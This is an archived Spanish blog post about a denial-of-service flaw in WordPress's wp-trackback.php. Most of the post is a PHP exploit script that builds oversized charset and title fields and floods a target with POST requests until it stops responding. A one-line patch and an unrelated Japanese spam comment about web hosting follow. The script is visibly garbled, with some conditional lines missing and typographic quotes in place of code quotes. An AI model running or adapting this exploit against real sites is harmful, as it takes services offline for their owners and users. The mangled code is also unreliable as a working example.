Información Importante Sobre el Contenido
Estas accediendo al contenido antiguo del blog. Este artículo "Denial-of-Service (DoS) rápido y de una forma muy sencilla en WordPress" es de dominio público y no será mantenido a futuro. Cualquier error o problema acerca del contenido por favor contactate conmigo desde la sección contacto.
jcarlosn ha descubierto una vulnerabilidad en el fichero wp-trackbacks.php de wordpress, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies.
Como él mismo nos cuenta:
Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.
El problema fue reportado a la seguridad en wordpress.com y no se obtuvo respuesta, luego se intentó comunicar con el creador de wordpress y al pasar un par de días, obtuvo una respuesta de que lo solucionarán en algún momento pero no de la forma que él proponia, sino que ellos mismos buscarán cómo hacerlo.
La misma persona que hizo público este bug, publicó un exploit y una posible solución.
El exploit:
-
< ?php
-
//wordpress Resource exhaustion Exploit
-
//https://rooibo.wordpress.com/
-
//security@wordpress.org contacted and get a response,
-
//but no solution available.
-
echo “You need to specify a url to attack\n”;
-
exit;
-
}
-
-
$url = $argv[1];
-
-
echo “The url should have https:// in front of it, and should be complete.\n”;
-
exit;
-
}
-
-
$path = ”;
-
} else {
-
$path = $data[‘path’];
-
}
-
$path .= ‘/wp-trackback.php’;
-
if($path{0} != ‘/’) {
-
$path = ‘/’.$path;
-
}
-
-
$b = “”;
-
$b = str_pad($b,140000,’ABCEDFG’);
-
$b = utf8_encode($b);
-
$charset = “”;
-
$charset = str_pad($charset,140000,”UTF-8,”);
-
-
$str = ‘charset=’.urlencode($charset);
-
$str .= ‘&url=www.example.com’;
-
$str .= ‘&title=’.$b;
-
$str .= ‘&blog_name=lol’;
-
$str .= ‘&excerpt=lol’;
-
-
$count = 0;
-
while(1) {
-
$fp = @fsockopen($data[‘host‘],80);
-
if(!$fp) {
-
if($count > 0) {
-
echo “down!!!!\n”;
-
exit;
-
}
-
echo “unable to connect to: “.$data[‘host‘].”\n”;
-
exit;
-
}
-
-
fputs($fp, “POST $path HTTP/1.1\r\n”);
-
fputs($fp, “Host: “.$data[‘host‘].”\r\n”);
-
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
-
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
-
fputs($fp, “Connection: close\r\n\r\n”);
-
fputs($fp, $str.”\r\n\r\n”);
-
-
echo “hit!\n”;
-
$count++;
-
}
-
-
?>
-
La solución:
Cambiar
-
$charset = $_POST[‘charset’];
Por
-
if(is_array($charset)) { exit; }
-
Información Importante Sobre el Contenido
Estas accediendo al contenido antiguo del blog. Este artículo "Denial-of-Service (DoS) rápido y de una forma muy sencilla en WordPress" es de dominio público y no será mantenido a futuro. Cualquier error o problema acerca del contenido por favor contactate conmigo desde la sección contacto.
abril 6, 2017 a las 12:29 pm
趣味などではなく現実的にずっと、ネットをうまく活用してお金を稼ぎたいという目標があって、ビジネスのためのホームページを新規で作成する場合では、無料のものではなく有料のレンタルサーバーのレンタルを申し込んで、新規の独自ドメインを手に入れる
どういった機能が必要としているのかは、個々で違うわけですが、どのくらいのものか予想できない方は、まずは普通の機能をある程度備えて対応可能なレンタルサーバーを選ぶことを、強くおすすめしています。
なんといってもホームページを運営する方は、私的に言わせていただくと、出来れば有料の格安レンタルサーバーで料金が安いものを探していただきまして、知る人も多い独自ドメイン（.comなどのアドレス）を取得していただいてから、運営をはじめることを迷うことなくおすすめいたします。